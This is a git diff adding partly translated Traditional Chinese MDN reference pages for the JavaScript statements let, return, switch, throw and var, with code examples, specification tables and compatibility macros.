+<p>Due to lexical scoping, the identifier<strong> "foo"</strong> inside the expression <code>(foo + 55)</code> evaluates to the <u>if block's foo</u>, and <strong>not</strong> the <u>overlying variable foo</u> with the value of 33.<br>
+ In that very line, the <u>if block's "foo"</u> has already been created in the lexical environment, but has not yet reached (and <strong>terminated</strong>) its initialization (which is part of the statement itself): it's still in the temporal dead zone.</p>
+
+<pre class="brush: js example-bad notranslate">function test(){
+   var foo = 33;
+   {
+      let foo = (foo + 55); // ReferenceError
+   }
+}
+test();</pre>
+
+<p>This phenomenon may confuse you in a situation like the following. The instruction <code>let n of n.a</code> is already inside the private scope of the <u>for loop's block</u>, hence the identifier<strong> "n.a"</strong> is resolved to the property 'a' of the <u>'n' object located in the first part of the instruction itself</u> ("let n"), which is still in the temporal dead zone since its declaration statement has not been reached and <strong>terminated</strong>.</p>
+
+<pre class="brush: js example-bad notranslate">function go(n) {
+  // n here is defined!
+  console.log(n); // Object {a: [1,2,3]}
+
+  for (let n of n.a) { // ReferenceError
+    console.log(n);
+  }
+}
+
+go({a: [1, 2, 3]});
+</pre>
+
+<h2 id="Other_situations">Other situations</h2>
+
+<p>When used inside a block, <strong><code>let</code></strong> limits the variable's scope to that block. Note the difference between <code><strong>var</strong></code><em> </em>whose scope is inside the function where it is declared.</p>
+
+<pre class="brush: js notranslate">var a = 1;
+var b = 2;
+
+if (a === 1) {
+  var a = 11; // the scope is global
+  let b = 22; // the scope is inside the if-block
+
+  console.log(a);  // 11
+  console.log(b);  // 22
+}
+
+console.log(a); // 11
+console.log(b); // 2</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition. Does not specify let expressions or let blocks.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.statements.let")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/var"><code>var</code></a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/const"><code>const</code></a></li>
+ <li><a href="https://hacks.mozilla.org/2015/07/es6-in-depth-let-and-const/">ES6 In Depth: <code>let</code> and <code>const</code></a></li>
+ <li><a href="https://blog.mozilla.org/addons/2015/10/14/breaking-changes-let-const-firefox-nightly-44/">Breaking changes in <code>let</code> and <code>const</code> in Firefox 44.</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/statements/return/index.html b/files/zh-tw/web/javascript/reference/statements/return/index.html
new file mode 100644
index 0000000000..e207c2c6f3
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/statements/return/index.html
@@ -0,0 +1,156 @@
+---
+title: return
+slug: Web/JavaScript/Reference/Statements/return
+translation_of: Web/JavaScript/Reference/Statements/return
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>return</code> 表達式</strong>會終止函式執行，並指明函式呼叫器（function caller）要回傳的數值。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-return.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">return [[expression]]; </pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>要被回傳的表達式。如果省略了表達式，函式就會回傳 <code>undefined</code>。</dd>
+</dl>
+
+<h2 id="敘述">敘述</h2>
+
+<p>如果在 function body 內宣告 <code>return</code> 的話，函式執行就會終止。如果指定數值的話，函式呼叫器就會回傳給定的數值。例如說，以下函式會回傳 <code>x</code> 參數的次方數。</p>
+
+<pre class="brush: js">function square(x) {
+   return x * x;
+}
+var demo = square(3);
+// demo will equal 9
+</pre>
+
+<p>如果省略了表達式，函式就會回傳 <code>undefined</code>。</p>
+
+<p>以下所有的 return 宣告都會終止函式執行：</p>
+
+<pre class="brush: js">return;
+return true;
+return false;
+return x;
+return x + y / 3;
+</pre>
+
+<h3 id="自動插入分號">自動插入分號</h3>
+
+<p><code>return</code> 宣告會受<a href="/zh-TW/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">自動插入分號</a>（automatic semicolon insertion，ASI）影響。No line terminator is allowed between the <code>return</code> keyword and the expression.</p>
+
+<pre class="brush: js">return
+a + b;
+</pre>
+
+<p>會因為 ASI 而變成：</p>
+
+<pre class="brush: js">return;
+a + b;
+</pre>
+
+<p>主控台會警告「unreachable code after return statement」（在 return 宣告後面有無法抵達的程式碼）。</p>
+
+<div class="note">從 Gecko 40 {{geckoRelease(40)}} 開始，如果主控台發現在 return 宣告後面有無法抵達的程式碼，就會顯示警告。</div>
+
+<p>要避免 ASI 問題，可以添加括號：</p>
+
+<pre class="brush: js">return (
+  a + b
+);
+</pre>
+
+<h2 id="示例">示例</h2>
+
+<h3 id="終止函式">終止函式</h3>
+
+<p>在到達呼叫 <code>return</code> 的地方後，函式會立即停止。</p>
+
+<pre class="brush: js">function counter() {
+  for (var count = 1; ; count++) {  // 無限迴圈
+    console.log(count + 'A'); // 直到 5
+      if (count === 5) {
+        return;
+      }
+      console.log(count + 'B');  // 直到 4
+    }
+  console.log(count + 'C');  // 永不顯示
+}
+
+counter();
+
+// 輸出：
+// 1A
+// 1B
+// 2A
+// 2B
+// 3A
+// 3B
+// 4A
+// 4B
+// 5A
+</pre>
+
+<h3 id="函式回傳">函式回傳</h3>
+
+<p>請參見<a href="/zh-TW/docs/Web/JavaScript/Closures">閉包</a>。</p>
+
+<pre class="brush: js">function magic(x) {
+  return function calc(x) { return x * 42; };
+}
+
+var answer = magic();
+answer(1337); // 56154
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>初始定義</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.9', 'Return statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-return-statement', 'Return statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-return-statement', 'Return statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.statements.return")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Functions_and_function_scope" title="En/Core_JavaScript_1.5_Reference/Functions">函式</a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Closures">閉包</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/statements/switch/index.html b/files/zh-tw/web/javascript/reference/statements/switch/index.html
new file mode 100644
index 0000000000..b182da09b6
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/statements/switch/index.html
@@ -0,0 +1,309 @@
+---
+title: switch
+slug: Web/JavaScript/Reference/Statements/switch
+tags:
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Statements/switch
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<div><span class="seoSummary"><strong><code>switch</code> 語句</strong> 會比對一個 <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">表達式</a> 裡頭的值是否符合 <code>case</code> 條件，然後執行跟這個條件相關的 <a href="/en-US/docs/Web/JavaScript/Reference/Statements">陳述式</a>, 以及此一符合條件以外，剩下其他條件裡的陳述式。</span></div>
+
+<div></div>
+
+<p>{{EmbedInteractiveExample("pages/js/statement-switch.html")}}      </p>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: js">switch (expression) {
+  case value1:
+        //當 expression 的值符合 value1
+        //要執行的陳述句
+    [break;]
+  case value2:
+        //當 expression 的值符合 value2
+        //要執行的陳述句
+    [break;]
+  ...
+  case valueN:
+        //當 expression 的值符合 valueN
+        //要執行的陳述句
+    [break;]
+  [default:
+        //當 expression 的值都不符合上述條件
+        //要執行的陳述句
+    [break;]]
+}</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>一個表達式其結果用來跟每個 <code>case</code> 條件比對。</dd>
+ <dt><code>case valueN</code> {{optional_inline}}</dt>
+ <dd>一個 <code>case</code> 條件是用來跟 <code>expression</code> 匹配的。 如果 <code>expression</code> 符合特定的 <code>valueN</code>，那在case條件裡的語句就會執行，直到這個 <code>switch</code> 陳述式結束或遇到一個 <code>break</code> 。</dd>
+ <dt><code>default</code> {{optional_inline}}</dt>
+ <dd>一個 <code>default</code> 條件；倘若有這個條件，那在 <code>expression</code> 的值並不符合任何一個 <code>case</code> 條件的情況下，就會執行這個條件裡的語句。</dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<p>一個 switch 陳述式會先評估自己的 expression。然後他會按照 <code>case</code> 條件順序開始尋找，直到比對到第一個表達式值跟輸入 expression 的值相等的 case 條件（使用<a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">嚴格的邏輯運算子</a>, <code>===</code>）並把控制流交給該子句、並執行裡面的陳述式（如果給定值符合多個 case，就執行第一個符合的 case，就算該 case 與其他 case 不同）</p>
+
+<p>If no matching <code>case</code> clause is found, the program looks for the optional <code>default</code> clause, and if found, transfers control to that clause, executing the associated statements. If no <code>default</code> clause is found, the program continues execution at the statement following the end of <code>switch</code>. 按照慣例， <code>default</code> 語句會是最後一個條件，但不一定要存在。</p>
+
+<p>The optional <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/break" title="JavaScript/Reference/Statements/break">break</a></code> statement associated with each case label ensures that the program breaks out of switch once the matched statement is executed and continues execution at the statement following switch. If <code>break</code> is omitted, the program continues execution at the next statement in the <code>switch</code> statement.</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_switch">使用 <code>switch</code></h3>
+
+<p>In the following example, if <code>expr</code> evaluates to "Bananas", the program matches the value with case "Bananas" and executes the associated statement. When <code>break</code> is encountered, the program breaks out of <code>switch</code> and executes the statement following <code>switch</code>. If <code>break</code> were omitted, the statement for case "Cherries" would also be executed.</p>
+
+<pre class="brush: js">switch (expr) {
+  case 'Oranges':
+    console.log('Oranges are $0.59 a pound.');
+    break;
+  case 'Apples':
+    console.log('Apples are $0.32 a pound.');
+    break;
+  case 'Bananas':
+    console.log('Bananas are $0.48 a pound.');
+    break;
+  case 'Cherries':
+    console.log('Cherries are $3.00 a pound.');
+    break;
+  case 'Mangoes':
+  case 'Papayas':
+    console.log('Mangoes and papayas are $2.79 a pound.');
+    break;
+  default:
+    console.log('Sorry, we are out of ' + expr + '.');
+}
+
+console.log("Is there anything else you'd like?");
+</pre>
+
+<h3 id="如果我忘記_break_會發生什麼事？">如果我忘記 break 會發生什麼事？</h3>
+
+<p>If you forget a break then the script will run from the case where the criterion is met and will run the case after that regardless if criterion was met. See example here:</p>
+
+<pre class="brush: js">var foo = 0;
+switch (foo) {
+  case -1:
+    console.log('negative 1');
+    break;
+  case 0: // foo is 0 so criteria met here so this block will run
+    console.log(0);
+    // NOTE: the forgotten break would have been here
+  case 1: // no break statement in 'case 0:' so this case will run as well
+    console.log(1);
+    break; // it encounters this break so will not continue into 'case 2:'
+  case 2:
+    console.log(2);
+    break;
+  default:
+    console.log('default');
+}</pre>
+
+<h3 id="我可以在_cases_中間放_default_嗎？">我可以在 cases 中間放 default 嗎？</h3>
+
+<p>Yes, you can! JavaScript will drop you back to the default if it can't find a match:</p>
+
+<pre class="brush: js">var foo = 5;
+switch (foo) {
+  case 2:
+    console.log(2);
+    break; // it encounters this break so will not continue into 'default:'
+  default:
+    console.log('default')
+    // fall-through
+  case 1:
+    console.log('1');
+}
+</pre>
+
+<p>It also works when you put default before all other cases.</p>
+
+<h3 id="同時使用多個條件_case_的方法">同時使用多個條件 case 的方法</h3>
+
+<p>Source for this technique is here:</p>
+
+<p><a href="http://stackoverflow.com/questions/13207927/switch-statement-multiple-cases-in-javascript">Switch statement multiple cases in JavaScript (Stack Overflow)</a></p>
+
+<h4 id="Multi-case_-_single_operation">Multi-case - single operation</h4>
+
+<p>This method takes advantage of the fact that if there is no break below a case statement it will continue to execute the next case statement regardless if the case meets the criteria. See the section titled "What happens if I forgot a break?"</p>
+
+<p>This is an example of a single operation sequential switch statement, where four different values perform exactly the same.</p>
+
+<pre class="brush: js">var Animal = 'Giraffe';
+switch (Animal) {
+  case 'Cow':
+  case 'Giraffe':
+  case 'Dog':
+  case 'Pig':
+    console.log('This animal will go on Noah\'s Ark.');
+    break;
+  case 'Dinosaur':
+  default:
+    console.log('This animal will not.');
+}</pre>
+
+<h4 id="Multi-case_-_chained_operations">Multi-case - chained operations</h4>
+
+<p>This is an example of a multiple-operation sequential switch statement, where, depending on the provided integer, you can receive different output. This shows you that it will traverse in the order that you put the case statements, and it does not have to be numerically sequential. In JavaScript, you can even mix in definitions of strings into these case statements as well.</p>
+
+<pre class="brush: js">var foo = 1;
+var output = 'Output: ';
+switch (foo) {
+  case 0:
+    output += 'So ';
+  case 1:
+    output += 'What ';
+    output += 'Is ';
+  case 2:
+    output += 'Your ';
+  case 3:
+    output += 'Name';
+  case 4:
+    output += '?';
+    console.log(output);
+    break;
+  case 5:
+    output += '!';
+    console.log(output);
+    break;
+  default:
+    console.log('Please pick a number from 0 to 5!');
+}</pre>
+
+<p>The output from this example:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Value</th>
+   <th scope="col">Log text</th>
+  </tr>
+  <tr>
+   <td>foo is NaN or not 1, 2, 3, 4, 5 or 0</td>
+   <td>Please pick a number from 0 to 5!</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>Output: So What Is Your Name?</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>Output: What Is Your Name?</td>
+  </tr>
+  <tr>
+   <td>2</td>
+   <td>Output: Your Name?</td>
+  </tr>
+  <tr>
+   <td>3</td>
+   <td>Output: Name?</td>
+  </tr>
+  <tr>
+   <td>4</td>
+   <td>Output: ?</td>
+  </tr>
+  <tr>
+   <td>5</td>
+   <td>Output: !</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Block-scope_variables_within_switch_statements">Block-scope variables within <code>switch</code> statements</h3>
+
+<p>With ECMAScript 2015 (ES6) support made available in most modern browsers, there will be cases where you would want to use <a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a> and <a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a> statements to declare block-scoped variables.</p>
+
+<p>Take a look at this example:</p>
+
+<pre class="brush: js">const action = 'say_hello';
+switch (action) {
+  case 'say_hello':
+    let message = 'hello';
+    console.log(message);
+    break;
+  case 'say_hi':
+    let message = 'hi';
+    console.log(message);
+    break;
+  default:
+    console.log('Empty action received.');
+    break;
+}</pre>
+
+<p>This example will output the error <code>Uncaught SyntaxError: Identifier 'message' has already been declared</code> which you were not probably expecting.</p>
+
+<p>This is because the first <code>let message = 'hello';</code> conflicts with second let statement <code>let message = 'hi';</code> even they're within their own separate case statements <code>case 'say_hello':</code> and <code>case 'say_hi':</code>; ultimately this is due to both <code>let</code> statements being interpreted as duplicate declarations of the same variable name within the same block scope.</p>
+
+<p>We can easily fix this by wrapping our case statements with brackets:</p>
+
+<pre class="brush: js">const action = 'say_hello';
+switch (action) {
+  case 'say_hello': <strong>{ // added brackets</strong>
+    let message = 'hello';
+    console.log(message);
+    break;
+  <strong>} // added brackets</strong>
+  case 'say_hi': <strong>{ // added brackets</strong>
+    let message = 'hi';
+    console.log(message);
+    break;
+  <strong>} // added brackets</strong>
+  default: <strong>{ // added brackets</strong>
+    console.log('Empty action received.');
+    break;
+  <strong>} // added brackets</strong>
+}</pre>
+
+<p>This code will now output <code>hello</code> in the console as it should, without any errors at all.</p>
+
+<h2 id="技術規範">技術規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.11', 'switch statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-switch-statement', 'switch statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.statements.switch")}}</p>
+
+<h2 id="你也可以看看">你也可以看看</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else"><code>if...else</code></a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/statements/throw/index.html b/files/zh-tw/web/javascript/reference/statements/throw/index.html
new file mode 100644
index 0000000000..dbfe664ef5
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/statements/throw/index.html
@@ -0,0 +1,234 @@
+---
+title: throw
+slug: Web/JavaScript/Reference/Statements/throw
+translation_of: Web/JavaScript/Reference/Statements/throw
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>The <strong><code>throw</code> statement</strong> throws a user-defined exception. Execution of the current function will stop (the statements after <code>throw</code> won't be executed), and control will be passed to the first <a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>catch</code></a> block in the call stack. If no <code>catch</code> block exists among caller functions, the program will terminate.</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">throw <em>expression</em>; </pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>The expression to throw.</dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<p>Use the <code>throw</code> statement to throw an exception. When you throw an exception, <code>expression</code> specifies the value of the exception. Each of the following throws an exception:</p>
+
+<pre class="brush: js">throw 'Error2'; // generates an exception with a string value
+throw 42;       // generates an exception with the value 42
+throw true;     // generates an exception with the value true</pre>
+
+<p>Also note that the <code>throw</code> statement is affected by <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">automatic semicolon insertion (ASI)</a> as no line terminator between the <code>throw</code> keyword and the expression is allowed.</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Throw_an_object">Throw an object</h3>
+
+<p>You can specify an object when you throw an exception. You can then reference the object's properties in the <code>catch</code> block. The following example creates an object of type <code>UserException</code> and uses it in a <code>throw</code> statement.</p>
+
+<pre class="brush: js">function UserException(message) {
+   this.message = message;
+   this.name = 'UserException';
+}
+function getMonthName(mo) {
+   mo = mo - 1; // Adjust month number for array index (1 = Jan, 12 = Dec)
+   var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul',
+      'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
+   if (months[mo] !== undefined) {
+      return months[mo];
+   } else {
+      throw new UserException('InvalidMonthNo');
+   }
+}
+
+try {
+   // statements to try
+   var myMonth = 15; // 15 is out of bound to raise the exception
+   var monthName = getMonthName(myMonth);
+} catch (e) {
+   monthName = 'unknown';
+   console.log(e.message, e.name); // pass exception object to err handler
+}
+</pre>
+
+<h3 id="Another_example_of_throwing_an_object">Another example of throwing an object</h3>
+
+<p>The following example tests an input string for a U.S. zip code. If the zip code uses an invalid format, the throw statement throws an exception by creating an object of type <code>ZipCodeFormatException</code>.</p>
+
+<pre class="brush: js">/*
+ * Creates a ZipCode object.
+ *
+ * Accepted formats for a zip code are:
+ *    12345
+ *    12345-6789
+ *    123456789
+ *    12345 6789
+ *
+ * If the argument passed to the ZipCode constructor does not
+ * conform to one of these patterns, an exception is thrown.
+ */
+
+function ZipCode(zip) {
+   zip = new String(zip);
+   pattern = /[0-9]{5}([- ]?[0-9]{4})?/;
+   if (pattern.test(zip)) {
+      // zip code value will be the first match in the string
+      this.value = zip.match(pattern)[0];
+      this.valueOf = function() {
+         return this.value
+      };
+      this.toString = function() {
+         return String(this.value)
+      };
+   } else {
+      throw new ZipCodeFormatException(zip);
+   }
+}
+
+function ZipCodeFormatException(value) {
+   this.value = value;
+   this.message = 'does not conform to the expected format for a zip code';
+   this.toString = function() {
+      return this.value + this.message;
+   };
+}
+
+/*
+ * This could be in a script that validates address data
+ * for US addresses.
+ */
+
+const ZIPCODE_INVALID = -1;
+const ZIPCODE_UNKNOWN_ERROR = -2;
+
+function verifyZipCode(z) {
+   try {
+      z = new ZipCode(z);
+   } catch (e) {
+      if (e instanceof ZipCodeFormatException) {
+         return ZIPCODE_INVALID;
+      } else {
+         return ZIPCODE_UNKNOWN_ERROR;
+      }
+   }
+   return z;
+}
+
+a = verifyZipCode(95060);         // returns 95060
+b = verifyZipCode(9560);          // returns -1
+c = verifyZipCode('a');           // returns -1
+d = verifyZipCode('95060');       // returns 95060
+e = verifyZipCode('95060 1234');  // returns 95060 1234
+</pre>
+
+<h3 id="Rethrow_an_exception">Rethrow an exception</h3>
+
+<p>You can use <code>throw</code> to rethrow an exception after you catch it. The following example catches an exception with a numeric value and rethrows it if the value is over 50. The rethrown exception propagates up to the enclosing function or to the top level so that the user sees it.</p>
+
+<pre class="brush: js">try {
+   throw n; // throws an exception with a numeric value
+} catch (e) {
+   if (e &lt;= 50) {
+      // statements to handle exceptions 1-50
+   } else {
+      // cannot handle this exception, so rethrow
+      throw e;
+   }
+}
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.4</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.13', 'throw statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-throw-statement', 'throw statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-throw-statement', 'throw statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>try...catch</code></a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/statements/var/index.html b/files/zh-tw/web/javascript/reference/statements/var/index.html
new file mode 100644
index 0000000000..705a27a333
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/statements/var/index.html
@@ -0,0 +1,248 @@
+---
+title: var
+slug: Web/JavaScript/Reference/Statements/var
+translation_of: Web/JavaScript/Reference/Statements/var
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>宣告一個變數, 同時可以非強制性地賦予一初始值。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var <em>varname1 [</em>= <em>value1 [</em>, <em>varname2 [</em>, <em>varname3 ... [</em>, <em>varnameN]]]]</em>;</pre>
+
+<dl>
+ <dt><code>varnameN</code></dt>
+ <dd>變數名稱。可以是任何合法的識別字符 (identifier)。</dd>
+</dl>
+
+<dl>
+ <dt><code>valueN</code></dt>
+ <dd>變數的初始值。可以是任何合法的表示式 (expression)。</dd>
+</dl>
+
+<h2 id="說明">說明</h2>
+
+<p>以 <code>var</code> 宣告的變數, 其作用範圍 (scope) 及於該函數之內; 但是如果在函數外宣告, 其作用範圍則為全域性 (global) (亦即包納於全域物件之內)。</p>
+
+<p>在函數之外使用以 <code>var</code> 宣告的變數是非強制的 (optional); 如果對一個未經宣告的變數賦值, 它會被暗中 (implicitly) 宣告成為一個全域變數 (亦即成為全域物件的屬性)。其中差異在於, 已宣告的變數是全域物件裡的一個無法變更 (non-configurable) 的屬性, 而未宣告的變數則是可變更的 (configurable)。</p>
+
+<p>因此, 建議你一定要宣告你的變數, 不管你要將它使用於全域範圍內或者函數內。</p>
+
+<p>若未宣告變數, 將非常可能導致無法預測的結果。所以, 在 ECMAScript 5 <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="Strict mode">strict mode</a> 中, 若在函數中給一個未經宣告的函數賦值, 將會丟出錯誤。</p>
+
+<p>Variable declarations, wherever they occur, are processed before any code is executed. The scope of a variable declared with <code>var</code> is its current <em>execution context</em>, which is either the enclosing function or, for variables declared outside any function, global.</p>
+
+<p>Assigning a value to an undeclared variable implicitly creates it as a global variable (it becomes a property of the global object) when the assignment is executed. The differences between declared and undeclared variables are:</p>
+
+<p>1. Declared variables are constrained in the execution context in which they are declared. Undeclared variables are always global.</p>
+
+<pre class="brush: js">function x() {
+  y = 1;   // Throws a ReferenceError in strict mode
+  var z = 2;
+}
+
+x();
+
+console.log(y); // logs "1"
+console.log(z); // Throws a ReferenceError: z is not defined outside x
+</pre>
+
+<p>2. Declared variables are created before any code is executed. Undeclared variables do not exist until the code assigning to them is executed.</p>
+
+<pre class="brush: js">console.log(a);                // Throws a ReferenceError.
+console.log('still going...'); // Never executes.</pre>
+
+<pre class="brush: js">var a;
+console.log(a);                // logs "undefined" or "" depending on browser.
+console.log('still going...'); // logs "still going...".</pre>
+
+<p>3. Declared variables are a non-configurable property of their execution context (function or global). Undeclared variables are configurable (e.g. can be deleted).</p>
+
+<pre class="brush: js">var a = 1;
+b = 2;
+
+delete this.a; // Throws a TypeError in strict mode. Fails silently otherwise.
+delete this.b;
+
+console.log(a, b); // Throws a ReferenceError.
+// The 'b' property was deleted and no longer exists.</pre>
+
+<p>Because of these three differences, failure to declare variables will very likely lead to unexpected results. Thus <strong>it is recommended to always declare variables, regardless of whether they are in a function or global scope.</strong> And in ECMAScript 5 <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">strict mode</a>, assigning to an undeclared variable throws an error.</p>
+
+<h3 id="var_hoisting">var hoisting</h3>
+
+<p>在 JavaScript 中, 變數可以先使用再宣告。</p>
+
+<p>因此, 建議你永遠都把變數的宣告放在函數的最頂端。否則可能導致混亂的情況。</p>
+
+<p>Because variable declarations (and declarations in general) are processed before any code is executed, declaring a variable anywhere in the code is equivalent to declaring it at the top. This also means that a variable can appear to be used before it's declared. This behavior is called "hoisting", as it appears that the variable declaration is moved to the top of the function or global code.</p>
+
+<pre class="brush: js">bla = 2
+var bla;
+// ...
+
+// is implicitly understood as:
+
+var bla;
+bla = 2;
+</pre>
+
+<p>For that reason, it is recommended to always declare variables at the top of their scope (the top of global code and the top of function code) so it's clear which variables are function scoped (local) and which are resolved on the scope chain.</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Declaring_and_initializing_two_variables">Declaring and initializing two variables</h3>
+
+<pre class="brush: js">var a = 0, b = 0;
+</pre>
+
+<h3 id="Assigning_two_variables_with_single_string_value">Assigning two variables with single string value</h3>
+
+<pre class="brush: js">var a = "A";
+var b = a;
+
+// Equivalent to:
+
+var a, b = a = "A";
+</pre>
+
+<p>Be mindful of the order:</p>
+
+<pre class="brush: js">var x = y, y = 'A';
+console.log(x + y); // undefinedA
+</pre>
+
